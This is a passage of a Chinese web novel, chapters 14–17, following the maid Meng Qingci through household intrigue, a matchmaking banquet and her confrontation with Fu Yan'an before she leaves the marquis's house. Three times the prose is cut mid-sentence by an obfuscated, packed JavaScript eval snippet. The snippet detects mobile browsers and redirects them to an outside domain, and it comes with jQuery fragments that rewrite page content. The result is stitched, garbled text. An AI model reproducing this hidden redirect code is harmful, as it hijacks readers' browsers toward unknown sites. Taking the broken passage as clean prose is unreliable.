春熙拿了一把瓜子塞进孟清辞手里,将她拉去廊下偏僻处:“你如今不用去主子跟前伺候,大概还不知晓,小顾大人(顾淮序)弹劾了长宁郡主,于大长公主府上以下犯上,目无储君,行事乖张,遭到了陛下的申斥,连封地都叫夺回了,勒令她在佛堂思过半年。” 孟清辞不想顾淮序那日所言不虚,意外他会为此行事激进,一点不似他的作风。 春熙见晴儿惊讶看她,笑问:“痛快了吧?” 又试探问:“小顾大人如此为你出头,你不会动心了罢?” “动心?动心到怎么死都不知道?不要白日做梦了。”孟清辞没好气的,把吃剩下的瓜子皮塞回春熙掌心,拍拍手,领着捧着药材的乔儿并另外几个小丫头扬长而去。 春熙在后面瘪嘴不甘示弱:“你是泥捏的女菩萨不成,生了一副铁石心肠,要叫换了我,得小顾大人这种神仙郎君回眸一顾,便是立时要了我得命也是值了。” 孟清辞只装作听不见,傅静妤起初待她也真心,她也真心交付过,只这两年,傅静妤越发想要的多,若不是两人有利益纠葛,又夹杂几分早年的情分,恐怕轻易也不肯放她出府去。 穿过竹林踏入无衡山房,墨简眼尖的迎上来,还陪着笑脸:“晴儿姑娘来了,可是来找我们爷的?” 孟清辞见墨简浑身都充斥一股傻气,问的话也毫无意义,竟叫他逗笑了:“大小姐知三爷在外不易,特意准备了一些名贵药材叫我送过来,聊表侄女的孝心。” 墨简瞥一眼捧着盒子的小丫头,似有几分了然,他忽然福至心灵,叫两个小厮带着小丫头将东西入库,一面引着孟清辞往上房走:“大小姐有心了,主子刚好在里面,还请姑娘亲自进去回禀了。” 14. 第 14 章 墨简通禀:“主子,晴儿姑娘到了。” 他将孟清辞引入书房,随即退下,悄然掩上了门。 那夜烛影昏黄,她又走的匆忙,并没细看傅珩书房的摆设布置。 此刻却见,屋内书墨暗浮,砚香隐隐。一排书架列满青缃,博古架上却疏疏落落,唯三两青瓷静立。 窗边置一张墨蓝色织锦铺陈的软塌,紫檀书案旁,一架水墨山河屏风静默伫立——墨色奔涌于山峦,留白处见水光流转,皆如如屋中陈设,古朴沉敛,不见半分奢靡。 孟清辞环视四周,并未寻见傅珩身影。她自袖中取出那条一早绣好,给傅晏桉备用的腰带,置于紫檀书案一角。 屏风后,傅珩的声音蓦然响起:“过来。” 孟清辞迟疑了下,终是转过屏风。才知书房和卧房是打通的,只用这架屏风隔开。 只见傅珩才沐浴出来,只穿了中衣,衣领微敞,鸦发濡湿,水汽氤氲,修长的指节正系中衣的系带,隐隐可见衣衫下紧实分明的肌理。 孟清辞立时转过身去,飞速的回禀:“禀三爷,大小姐叫奴婢给您送些名贵药材来,谢您在大长公主府的维护之情。奴婢顺便把给您做的腰带放在桌案上了。” “奴婢去外间等三爷。”言罢,抬脚便要出去,她倒是不怕看这个,毕竟更露的穿越前也是屡见不鲜,只不想多生事端,暗怪自己来的不是时候。 傅珩:“躲什么?过来帮我把头发搅干了。” 孟清辞止住脚步,背对着傅珩,目光定在山水屏风上,贝齿轻咬下唇,有些拿不准他的心思。上次在茶楼,他看她的目光分明不好,应是极为厌烦她,怎么还肯叫她近身? 傅珩已在铜镜前落座,看着她的背影,指节不紧不慢地轻叩桌面:“怎么,不愿意?这么快便使唤不动你了?” 听傅珩和他要债的口气,孟清辞稳了稳心神,委实没什么好矫情的。多次利用他,她总不好翻脸不认。 “奴婢没这个意思,不过是奴婢只伺候过大小姐,不大习惯罢了。”孟清辞换上笑容,寻了块布巾走到傅珩身后,并不扭捏,利落地为他搅起发来。 不知哪里让傅珩满意了,他竟浅笑了下,细长的眼帘半垂着,脖颈后仰,安静的任由孟清辞一下下搅着乌黑长发。 见他果真只想叫她搅发,孟清辞悄悄吁出一口气。如此她手上的动作也更仔细用心些。 稍倾,傅珩嗓音疏淡,似是闲聊般问道:“听闻,你小时的事情都记不得了?” “回三爷,入侯府前的事情,确实都记不得了。”孟清辞未料他会问及此,只当他在闲话儿,如实答了。 傅珩:“你就没想过出府后去寻你爹娘?依你入府时的穿戴,家中至少该是颇有几分脸面的殷实人家。” 孟清辞半真半假的回他:“既然丢了,当时也没找回去,不见得有多重视。如今我都大了,兴许他们也记得不了,寻回去,说不准也是自讨没趣儿。” 她心下暗忖:自己骨子里早非其人,与原身家中素无亲缘。这世道的爹娘,不论嫁女儿还是卖女儿,不过一句话的事儿,从不过问当事人。 她好容易从侯府出去,又正逢婚嫁之龄,难道还上赶着找个活爹压在头顶,吃饱了撑得给自己找不痛快吗? 傅珩自铜镜看她一眼,见她神色不似作伪,又道:“若寻着你家人,兴许是高门权贵,抑或豪族乡绅。你若想认祖归宗,我亦可相助。” “多谢三爷好意,奴婢并没这个打算。”回绝,心下狐疑他这番“好心”背后究竟打的什么主意。 高门权贵么?她还不知道么,不过是主动给家族送人头去联姻,她又不是曾失心疯了,主动送人头。 傅珩怕她不晓得里面的好处,仍耐心讲解:“届时认祖归宗,便不再是奴婢出身,与我那大侄儿也算门当户对。亦或者是那日的顾淮序,也未必不堪匹配,难道你不动心?” 孟清辞听罢已是厌烦的颦眉,还隐隐不屑的瞥了下唇,扔不为所动:“多谢三爷费心,奴婢并无这些心思,奴婢已辞过大小姐,过两日便要离府。” 傅珩压低眉眼问:“你离府后可有打算?是去找宋泊简吗?” 孟清辞深吸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083232|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,心想那日茶楼里,傅珩果然是在隔壁。 也不知他当时在隔壁做什么,看他紫檀桌案上,公文如山,定是案牍劳形,竟然还有闲心理会她的八卦,真是人不可貌相。 孟清辞不走心的应付一句:“也许罢,毕竟他比较可靠些。” 傅珩冷笑下,不觉她还有如此天真一面,竟觉天下还有可靠的男人。 孟清辞搅头发的手法熟练,不多时傅珩的头发便干了,傅珩没再使唤她,言辞更是‘善解人意’:“你去罢,念在缘分一场,日后你若有了难处,自可来寻我。” 孟清辞不想他不仅没厌烦自己,还如此好说话,允诺日后可帮衬她一二,愣了下,心下难得涌起三分羞愧来:可能是自己对侯府的人都带有有色眼镜,戒备心太重,不想这位看着威严冷峻的三爷,竟是个面冷心慈的。 她对着傅珩笑的亲昵几分,福身行礼:“多谢三爷照顾,真是奴婢修来的福分,若是三爷还有需要奴婢的,尽管和奴婢开口,奴婢必当尽心竭力。” 傅珩心情愉悦的轻笑起来,望着她离去的背影:“望你真心这般作想,不枉我一片心意。” 他披散着长发,转过屏风,拾起放在紫檀桌案一角的腰带,摩挲了下,冷笑一声:“狡猾的丫头,惯会油嘴滑舌,什么东西也敢糊弄爷。” 冷着脸,把腰带扔进焚物的铜盆,倒上灯油,刚想点燃,想了想又收回手,对外叫了一声:“墨简。” 墨简战战兢兢的进来,晴儿姑娘刚走的时候神情好着呢,纳闷主子怎么反而不痛快。 傅珩指着指铜盆里的腰带:“把它收好,收到爷看不到的地方去。” 墨简摸不着头脑,也不敢多问,麻利的拿起浸了灯油的腰带转身出去了。 孟清辞不知道自己的把戏已经被傅珩识破了,反思起,送傅珩一条给傅晏桉备用的腰带似乎太过敷衍,不过她本就良心不多,很快就将此事搁到脑后。 且说大太太林氏得了大老爷傅承怀的吩咐,也不顾老太太王氏尚在病中,隔日便雷厉风行地在府中替儿子傅晏桉张罗起相看之事。 15. 第 15 章 许是傅晏桉年过二十还未娶亲,让大太太林氏着了急。此番她便借女儿傅静妤的名头,学着大长公主,在侯府办起一场赏花宴。 林氏的婢女霞光踏进碧琼苑,正瞧见孟清辞指挥小丫头拾掇院里的花草,她笑着将赏花宴的宴请名册递给孟清辞:“巧了,大太太叫我把这个送过来,正好给你。” “哪里巧,昨儿夜里梦见你今儿要过来寻我,见你迟迟不来,我才在院子里候着的。”孟清辞顽笑嗔道,接过名册打开,暗暗咋舌:好家伙!这么长。 除了傅静妤的闺中密友,大太太林氏把门当户对、尚未定亲的适龄贵女都请了个遍:吏部左侍郎家的嫡女、礼部右侍郎家的嫡次女、工部都水清吏司郎中家的嫡女、兵部武库清吏司郎中家的嫡女...... 足有二十余人。几乎囊括了半个小朝廷。知道的,是大太太在为儿子相看媳妇;不知道的,怕要以为她在为傅晏桉选妃呢。 霞光被逗笑,假意搡她:“贫猴儿,难怪大小姐最是疼你,你这一张巧嘴,哄的人心花怒放。” 孟清辞上下打量她,目光盯着她心口,口上花花:“你且叫我看看,心上开出的花儿在哪呢,是白的还是红的,艳是不艳,这贫猴儿我姑且当一回。” “小不要脸的,好不尊重你姐姐。”霞光见她顽劣起来,脸上一红,拉着她走到一边,啐她:“你胆子越发大,连我也敢打趣起来。” 孟清辞:“这不是总见不着你么,你总不会和我计较这个。” 霞光捏她:“我打趣你什么,两年前,若不是你救我一次,叫那老东西得手,我便要烂在老宅了,哪里能到太太房里有如今的体面。” 孟清辞知她说的是当初在老宅,王氏留下的一个管事,想要对她欲行不轨,恰巧被她所救之事,她赶忙止住话头儿:“既然要拦在肚子里,往事莫要再提,对你我都没有好处。” “原是我不该提。”霞光将她拉到院子里一颗老桃树后,见周围无人,压低了嗓音:“大太太近日疑心大公子不肯娶妻是心里有了人,前儿杏枝胡乱一句‘兴许不是贵女’,叫大太太起了疑心,正寻是哪个姑娘。” 未尽之言无需多说,孟清辞已经明了,她拉着霞光:“好姐姐,谢谢你疼我,特来告诉我一声,不过你不用担心我,赏花宴后我便出府了,自然再不惧这些。” 霞光松闻言,大大的松口气:“那是再好不过,只你出去了,咱们想见就难了。” 孟清辞拍拍她的手:“在这园子里,到了年纪,姑娘们哪有不散的宴席。你只记得我一句话,日后你若是想赎出去,可以去寻我,咱们总有在一处的时候。” “你的话我记下了,只你知道我的,自小没出过侯府,你容我再想想。”霞光也是家生子,但她老子娘去的早,只有她一个闺女,亲戚又都在庄子上,帮衬不上,她算是在侯府没了根儿,两年前才叫在老宅让王氏留下的管事差点欺负了。 霞光又凑近些,压低声音将前阵子大太太林氏的心思透给了孟清辞:先是盘算着让她日后给大小姐做陪嫁以便故宠,后来竟又动了将她给世子爷做妾的念头。匆匆交代完这几句要紧话,霞光匆匆交代完便回去了。 且说赏花宴为了不过于露骨扎眼,还宴请了几个傅晏桉的好友,同样是未婚的适龄男子。 这样规模的赏花宴大太太林氏一个人操持不过来,时间又紧,自然是燕拂居和碧琼苑两边一起操办。 孟清辞得了傅静妤的准话,并紫芙带着底下的人直忙到深夜才歇下。 次日,孟清辞穿戴妥当,跟在傅静妤身后一同参宴,先是在二门同傅静妤将各家贵女迎进来,后又跟着到燕拂居里帮忙,恨不得一个人分成两个人忙。 因她常跟着傅静妤出门,只不说招待今日来的贵女,请安问好,便是这些闺女们带来的丫鬟,也叫她笑僵了脸。 好容易将人都迎到燕拂居里,伺候了茶水点心,孟清辞得空溜到后面缓缓。 燕拂居的厅堂内,大太太林氏端坐主位,今日她容光焕发,几十年积攒的脸面仿佛都在今日找补了回来。 傅晏桉年纪轻轻便官居刑部从五品员外郎,又有帝宠,前途不可限量。本就是京城炙手可热的佳婿人选,加之他生得清贵端方,是在座不少贵女的春归梦里人。 席间,有意于傅晏桉的贵女们无不围着林氏说笑奉承,竭力讨她欢心,那竞相表现的架势,竟似群芳竞放,暗藏机锋。 恰在此时,外间婢女扬声通禀:“大公子到。” 傅晏桉撩袍跨入门槛,目不斜视地上前向林氏行礼:“儿子给母亲请安。” 傅晏桉见满室皆是各家的贵女,勉强按耐住不耐烦的心思,此番相看乃傅大老爷亲口发话,他不好再推拒,只能应付过去。 大太太林氏见儿子一来,众贵女的目光便如影随形般黏在他身上,嘴角压不住得意的弧度:“你来得正好。我让人从窖里取了几坛陈酿,你且带去席上,添些热闹。” 傅晏桉躬身道:“让母亲费心了。” 临安郡主坐在傅静妤身侧,侧首压低嗓音:“你哥哥比我想的还抢手。瞧这些贵女把你母亲捧的,眼神都快飘了。他一进来,那眼珠子恨不能在他身上瞧出七八个洞来。” “你不动心么?”傅静妤抿唇一笑,低声问:“你当初不是还夸过我哥哥,儒雅矜贵、姿容俊逸。” 临安郡主撇撇嘴:“本郡主的骏马不需太过能干,自打你哥哥办过那两桩抄家灭门的铁案,我便对他敬而远之了。” 一旁的户部尚书之女卢清婉垂眸浅笑,将二人对话尽收耳中。 临安郡主瞥了卢清婉一眼,促狭道:“你可别逗清婉了,今日这场面,她那点心思怕是要藏不住了。” 卢清婉羞恼地剜了临安一眼,压低声音嗔道:“你莫要多事!” 傅静妤但笑不语,只体贴地为她添了块点心,并未出言打趣。 此时,燕拂居后厢的更衣室内,传来压抑的低泣:“小姐,您也太好性儿了!二小姐分明是故意的,将茶水泼在您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087629|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,就是存心不让您见着傅公子!” “好了,”苏湘轻咳一声,气息微弱,“在人家府里,不能掉泪,别坏了规矩。”她声音轻柔似水,“便是见着了又如何?今日贵女云集,傅大太太放着家世煊赫的姑娘不选,难道会看上一个兵部武库清吏司郎中的女儿么?何况……我这身子,还有娘胎里带出的病根儿,便是我好好端坐在那里,傅大太太也断不会相中我的。” “那可如何是好?”金菊越发焦急,眼泪又要涌出来,“夫人一早盘算着将您胡乱配人,好侵吞了您的嫁妆……小姐若不能寻一门有权势的好亲事,日后还有什么指望?” 她压低声音:“再说您这病,原也不是治不好,不过是为了搪塞夫人。待日后嫁了人,好生调养一阵,自然就好了。” 苏湘嗓音轻柔和缓的安慰:“好了,一会儿还需你出去替我周全,你可不能哭肿了眼睛,我自然是不能叫我那好继母和妹妹如意的。” 金菊止住眼泪问:“小姐,你真有办法吗?咱们怎么能争得过?你只管吩咐,奴婢为了您,上刀山下火海也不怕。” 苏湘叹气:“自然要你好好的跟着我,你瞧外面争得热闹,却未必能入傅公子的眼,你以为他为何年逾二十仍未婚配?” 金菊愣怔,张口结舌,眉头纠结,压低的嗓音透着你瞧外面争得热闹:“这......这......莫不是他有什么不治之症?” 苏湘闻言,气弱地轻笑:“你瞧傅大太太今日那满面春风的得意模样,怎会是这个缘故?” 金菊愈发不解:“那是为何?” 苏湘声音虽轻,却异常冷淡:““那必然是,他早已心有所属,定然此女身份特殊,不堪匹配为妻。” 金菊急了:“那可如何是好,那您还想要......想要.......咱们还是另寻个姑爷罢。” 苏湘嗓音轻柔却笃定:“正因傅公子心里装着别人,你家小姐我才最有胜算。他拖到如今不肯娶妻,我赌他必然是舍不得委屈了那女子。一个身患‘顽疾’、娘家势孤、性情‘绵软’、无心争宠的妻子,岂非正合傅公子的心意?” 金菊听得心疼不已:“小姐,您何苦这样委屈自个儿……老天爷为何要叫小姐吃这样多的苦头?” 苏湘又被她逗笑,那笑声里透着一丝不易察觉的冷森:“傻金菊,这哪里是苦头,一个上不得台面的女人,还能飞出主母的手掌心么?男人能在后宅待得几时?到时候,是生是死,还不是捏在我的手里。” 金菊脑子有些转不过来,但她向来对主子忠心耿耿:“那……那小姐要奴婢怎么做?奴婢定不会误了您的事!” 苏湘凑近她耳边,低语吩咐:“一会儿你先出去,就说我身子弱,在厢房里歇息片刻,便不去席上了。等逛园子的时候,你设法打听好傅公子的去向……然后……” 躲在屋外窗下躲懒的孟清辞,将主仆俩的密语听了个真切,心下无声一叹:好个七窍玲珑心的姑娘,好伶俐的心思手段...... 16. 第 16 章 赏花宴散罢,大太太林氏仍拉着傅晏桉不放,眉宇间亢奋之色犹存三分:“今日这许多贵女中各有秋色,可有你中意的?” 傅晏桉端坐下手,背脊挺直,轻浮茶盖,沉默不言。 “你既然不说,莫怪娘替你乱点鸳鸯谱了。”大太太林氏见他做此姿态,脸色霎时淡了三分,她语气难得硬气一次:“吏部左侍郎家的嫡女,工部都水清吏司郎中家的嫡女,礼部右侍郎之家的次女,这三家的姑娘年纪都与你堪配,和咱们家也是门当户对,我与你父亲便从中择一为你定下。” 林氏想她这个儿子自小到大哪里都好,样样不操心,生得俊,性子好,读书拔尖儿,做了官更是顺风顺水,真是无一处不可心,只娶妻一事,拧的很,叫她操碎了心。 傅晏桉抗拒的拧眉,他母亲选的这三家,不是官职不低,便是握有实权的人家,此等千金闺秀断不可能容得下他有个用情至深的女子。 林氏见他油盐不进,索性摊牌:“你父亲发话了,此次你的婚事绝不能再拖!你不吭声,我便当你是默许了。” 傅晏桉沉吟片刻,终是开口:“那便选兵部武库司郎中家的苏大姑娘罢。” 他眼前掠过苏大姑娘那凄楚病弱的模样,言明只消他助她夺回继母扣在手中的嫁妆,便愿与他做一对有名无实的夫妻,更愿替他照料心爱之人,她眸中那份孤注一掷的坚韧,倒有两分晴儿的影子。 正如苏大姑娘所言,她家世不显,生父继母刻薄寡恩,嫁入侯府只能依附于他,自是言听计从,任他拿捏,是再好不过的人选。 大太太林氏骤然一愣,一时竟想不起是哪家。婢女霞光忙在旁低声提醒了一句,林氏才恍然,立时颦眉不满:“你怎偏挑中她?那姑娘的身子骨,是娘胎里带来的弱症,一副病病歪歪的模样,恐怕难以生养,你娶了那姑娘.......” 林氏不想说诅咒儿子的话,但言外之意便是怕儿子做鳏夫,叹口气驳回:“她一看便是个福薄之人,人也怯懦上不得台面,还不如她那继妹有体面,况且家世不显,于你仕途无益处,并不适合嫁给你做宗妇,你还是从另外三位高门贵女里挑选一个罢。” “儿子心意已决,望父亲、母亲成全,否则,儿子宁可不娶。”傅晏桉断然摇头,言罢起身径直离去。 “唉……”林氏望着儿子决绝的背影,连叹两声,深知此事上他性子执拗,怕是难改,心头又添一层愁绪,还不知要怎么和傅大老爷提此事。 孟清辞又在侯府做了一天的牛马,这一日她腿都被骝僵了。 熬到散宴,好容易熬到宴散人尽,她强撑着安顿好碧琼苑各处,打点妥伺候傅静妤的琐碎事宜,方回了自己的屋里。 好生洗漱一番,缓了几分疲惫,正坐在黄花梨妆奁前,纤指轻抬,去了发饰,松散了发髻,眉目间全是疏懒倦怠之色。 却因着明日她便可出府去,心情倒是格外的松泛。 岂料,房门“吱呀”一声,猝不及防地被推开!孟清辞惊得扭身望去,眼看着傅晏桉进来,反手又将门合上,吓得心惊肉跳。 她惊魂未定地霍然起身,下意识地掩紧微敞的中衣交领,声音带着不易察觉的颤音,要将傅晏桉推出门去:“你疯了?这个时辰你怎能闯进来??” 傅晏桉却如磐石般岿然不动。自两年前入京住进侯府,他便再未踏足过她的闺房。 此刻,他温润儒雅的表象下,眸色隐含锐利,目光扫过屋内的摆设:黄花梨的妆台上摆着精致雕花点漆的妆奁,沉水色透纱帘后是一方乌木长桌案,案上笔墨纸砚一应俱全,屋内露出楠木架子床的一角,香云纱帐松松垂落,无一处不是他用心添置,无一处不精致。 便是一般门户的闺阁千金,也不如她屋内精致的十分之一。 眼前的小姑娘只着素白中衣,沐浴后的水汽氤氲在她周身,散发着一种令他心旌摇曳的馨香。两颊因惊怒而浮起薄红,青葱娇嫩的玉手,小猫爪子一样搡在他胸口,更撩拨得他心痒难耐。 她是他用心血灌溉,十数年悉心娇养出来的一朵娇花,无一处不合心意。 傅晏桉猛地攥住那双“作乱”的柔荑,指节因用力而微微发白,嘴角却勾起一抹带着几分自嘲和压迫的哂笑:“你幼时赖在我榻上不肯走的日子还少么?怎么如今,倒与我生分至此?” “你......你无耻,你也会说那是小时候的事情。”孟清辞被气的一时语塞,不想他跑来与她没脸没皮起来,挣扎着向外推搡他:“你快走,有什么话明日说不得?这样晚了,你过来不合规矩。” 傅晏桉顺势将她手腕箍得更紧,目光灼灼,眼底清晰地映着她仓惶失措的模样,声音低沉而急切:“我是疯了!想你想得快要疯了!你不是都知道吗?你要躲到什么时候?我为你连个通房都无,还不够迁就?你就吝啬到连一丝甜头都不肯予我?” 他的话语里交织着痛苦、渴望和一种被辜负的怨怼。 “呸!你好不要脸皮。”孟清辞被他困禁在怀里,挣脱不得,心念翻转:想他闯进来,外面还无半点动静,傅静妤定然是知晓默许了。怕自己过于激进,反而激起了他的逆反心理不管不顾起来,于她无益,她强压下翻涌的厌恶与恐惧,身体微微放松,做出几分温顺之态,软语央求:“你小声些,你如此叫我怎么见人?若叫大太太知道,只怕立时叫打死我才罢。” 她眼中蒙上水雾,仰头看他,似是祈怜又似是祈爱。 傅晏桉如愿将人搂入怀中,只觉那空荡已久的躯壳瞬间被填满,一颗心如同浸泡在温水中,涨得发疼却又奇异地舒畅。怀中人的温顺极大地抚慰了他紧绷的神经,心中戾气稍退,忍不住低头与她耳鬓厮磨,声音也放柔了几分,低声轻哄:“放心,我怎么舍得叫你为难,我来,是与你说件要紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098277|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,说完便走。” 他贪恋地汲取着她的气息,语气里尽是得逞的满足。 孟清辞心中绷紧的弦略松几分,尽量放松身体,安抚傅晏桉有些过激的情绪。 傅晏桉敏锐地捕捉到她态度的软化,心里难抑激荡,他就知道,晴儿对他绝非无情,按耐心中翻涌的情丝,与她道:“我已决定选兵部武库司郎中家的苏大姑娘为妻,她......” 话音未落,孟清辞冷嗤一声打断他:“她有娘胎里带来的弱症,是个天不假年之人,正好与你做一对有名无实的假夫妻?嫁你只为寻个庇护之所,为求一个正妻名分,便任由你摆布安排?” 傅晏桉讶然,低头看她:“你如何知晓?” “后宅的把戏不过如此,有什么难猜?”孟清辞唇边勾起一抹讥诮的冷笑,忽然用尽全力将他推开:“你亲祖母,便是你祖父的心爱之人,当年还不是被贬妻为妾,如今又如何了?你如今也想步你祖父后尘?先弄出个庶长子来?你是想让你儿子重蹈你父亲的覆辙?还是走你走过的路?” 提及此隐痛之事,如巴掌抽在脸上,傅晏桉面上略有难堪之色,强自辩解:“绝无可能,你和她不一样,我定然会护你周全。” 孟清辞呵笑:“你祖母当年可是明媒正娶的正妻!以你祖父当年的权势,尚且护她不住!你又拿又什么保证?” 她语气陡然拔高,带着决绝愤然:“你明知我最恨伏低做小!何必再用些喜欢不喜欢的话来诓骗我?逼我与你为妾,仰人鼻息苟活?你不如现在就杀了我干净利落!” 话音未落,她猝然抄起妆台上刚卸下的那支发簪,尖锐的簪头死死抵住自己纤细白皙的脖颈,紧紧压在那清晰可见的青色血脉之上!她的眸光冷冽如寒潭,浑身充斥着玉石俱焚的决然。 “如何便要你做妾,又几时诓骗过你,你快快放下,千万别伤了自己。”傅晏桉脸色骤变,目眦欲裂。他深知她性烈如火,此刻半步不敢上前,声音因极度的恐惧而微微发颤,慌忙解释起来:“苏姑娘无娘家亦可以依靠,待她油尽灯枯病逝,我便可以继室之礼,堂堂正正迎你进门!” 从前他只道择妻当选个大度能容人的,如此方能不委屈了晴儿。自那夜廊庑下与晴儿一番剖白后,傅晏桉知晴儿断不可能与人为妾,他辗转反侧,彻夜难眠。 如今有了苏湘的自荐,倒觉得是一上策。这般女子精神不济,寿数不长,多半无暇争宠;他只需将人风风光光迎娶过门,好生“供”着,待时日久了,油尽灯枯,他再以继室之礼迎晴儿进门,岂非万全之策? 孟清辞听着他这番“谋划”,只觉得荒谬绝伦,手中的簪子握得更紧,指节泛白。她唇角噙着一抹极冷的笑意,语带嘲讽:“既如此,何不更干脆些?你与她定了亲,等她一死,直接迎她的牌位过门,做个现成的鳏夫,岂非更快更稳妥?那时再来娶我,我便依了你。” 17. 第 17 章 傅晏桉诧异她的大胆言辞,她歪着头看他,双眸里有不谙世事的天真,他有些受伤:“你.......荒唐,哪有男子迎娶牌位过门?成何体统?你竟然不信我至此?” 孟清辞状似疑惑不解问他:“女子既能抱着牌位嫁人守寡,男子为何不可?” 傅晏桉被她这离经叛道的论调气得脸色阴沉:“荒谬,简直是大逆不道。” 孟清辞不为所动:“你说的天花乱坠,于不过是口腹蜜剑的毒药,一个连我的性命都不当回事的人,能指望他的‘喜欢’多长久?之前你祖父为了你祖母肯赴死,你呢?到那时,你能也为了我死一死吗?不过,那时候我已经死了,又去哪里知道呢?” 傅晏桉的真心被她如此践踏,却因她言语间的凄楚而怜惜她,心口如同被万针攒刺,密密麻麻的疼。他紧蹙着眉心,胸膛剧烈起伏,克制心内奔涌的暴戾之气,他眼底的温柔彻底褪去,音色发冷:“你休要以为无理取闹,以为说些刺心的话,就可叫我愤而罢手,便与你说开罢,你想出府,自此与我一刀两断,万不可能,此事由不得你。” “呵,亏你还是堂堂刑部员外郎,竟用这等幼稚言语来糊弄我一个小女子?”孟清辞见火候已到,才慢抛出真正的杀手锏,语气充满讥讽:“你如何保证她那顽疾确是不治之症?你一个在刑部断案如神、深得帝心的员外郎,竟对一个仅一面之缘、又觊觎你正妻之位的女人深信不疑?你在刑部办案,也是如此轻信人言、不查证实的吗?哦——我懂了,”她故意拖长了调子:“你们惯用的,是刑讯逼供那一套吧?” 傅晏桉知那日到底叫她窥到了身上的血污,此时拿话刺他,被她气的不轻。他几息间又敏锐地察觉到异常,晴儿的脾性虽说倔强,却也从未对他如此言辞激烈、步步紧逼过,察觉里面的猫腻,疑惑问她:“你是不是知道什么?” 孟清辞侧过清艳绝伦的小脸,连眼风都懒得扫他一下,嫌恶之色溢于言表:“你这个刑部员外郎不是厉害得很?你自己不会去查么?问我一个只能困于后宅、任人摆布的婢女作甚?” “你......尽是胡言乱语,我几时当你是奴婢使唤过,你真是没有良心。”傅晏桉此刻已被她连消带打,治得死死的,满腔怒火无处发泄,憋屈至极。他强压下翻腾的情绪,声音带着一丝不易察觉的妥协:“你先将簪子放下,我何时真正逼过你?不过是你如今要出府去,才有些急切罢了。苏湘之事,我自会查个水落石出,给你一个交代!。” “我不管你怎么想的,今日便与你把话说清楚,你想叫我做妾,是绝不可能的,除非你想我像你主母一样,那我便立刻死在你面前。”她知道傅晏桉今日蓄势而来的逼迫,已被她彻底搅乱。一鼓作气,再而衰,三而竭,他的气势已颓。她口中说着狠话,心中却已大大松了一口气。 傅晏桉看着她颈边寒光闪闪的簪尖,那决然的眼神让他不敢赌,只得妥协让步:“好,我不成婚,你等我,你再等我两年。” 如同傅晏桉了解孟清辞,孟清辞同样洞悉傅晏桉此刻最想抓住什么。她立刻给出保证:“随你。但我要先出府!这侯府,我是一日也待不下去了!” 这是她最终的目的。 傅晏桉虽尚未着手调查苏湘,但孟清辞言之凿凿且态度如此激烈,他已信了七八分,自知理亏,知今日难以转圜,只得答应她先出府去。 看着傅晏桉终于转身出去,房门被关上,孟清辞冷哼一声,将手中紧握的发簪随手掷在妆台上,发出一声清脆的撞击声。镜中映出她冷漠似神袛的眉眼。 心想:等你查清楚?呵,那时她早已远走高飞,离开这京城是非之地了。今日不过是用这苏湘之事迷惑傅晏桉的障眼法。 至于那位素未谋面、却对她暗藏祸心的苏小姐,会不会因此惹来傅晏桉的报复,那就不在她的考虑之中了。 她也本就不是什么心慈手软的良善之辈,横竖是那苏姑娘自己先起了不该有的心思,想要富贵险中求,技不如人,怨不得人。 翌日,孟清辞本想赶早悄悄离府,直接乘船离开京畿,彻底摆脱侯府这一摊子污糟事儿。 不想她才洗漱穿戴妥当,傅珩的侍卫墨简便找上门来。 墨简叉手行礼:“晴儿姑娘早,主子请姑娘去一趟无衡山房。” 孟清辞心里是一万个不愿意,脸色冷的能滴水,却也知此时不宜开罪傅珩,只能忍气吞声的跟着墨简去无衡山房,她边走边问:“这般时辰急着唤我,可知是何事?” 墨简被孟清辞甩了冷脸,无奈的摸摸鼻子:“主子的官服昨儿不慎破了,府里的绣娘皆不济事儿,只说想要补的天衣无缝,满府里,只有晴儿姑娘有这个本事。” 孟清辞压下心底窜起的火儿,要不是看在要出府的份儿上,她定要叫绣房的几个脱层皮,竟然敢算计到她的头上来,却也不肯白白吃下哑巴亏,冷嗤:“亏了她们手艺不济,偏生了张献媚的巧嘴!不知情的,还当她们是主子,我是绣房里呼来喝去的奴才呢!依我看,往后也不必做活了,只消知道府里哪个伶俐,随便叫她们指给主子好了。” 墨简被怼的额角冒汗,心想这本来就是寻她过去的个托辞,要他如何接? “呵,我如今已不在府里当差,过来,看的是你们三爷的脸面。她们在我这里,可没什么脸面。”孟清辞不满意他的沉默,她一脚踏进无衡山房,转身嫌弃的上下打量墨简,倨傲问:“怎么?她们的月例银子落不进我的口袋,我倒成了奴才里的奴才,专捡她们挑剩的活儿干?你们主子素来规矩严明,就这般纵容绣房糊弄差事?” 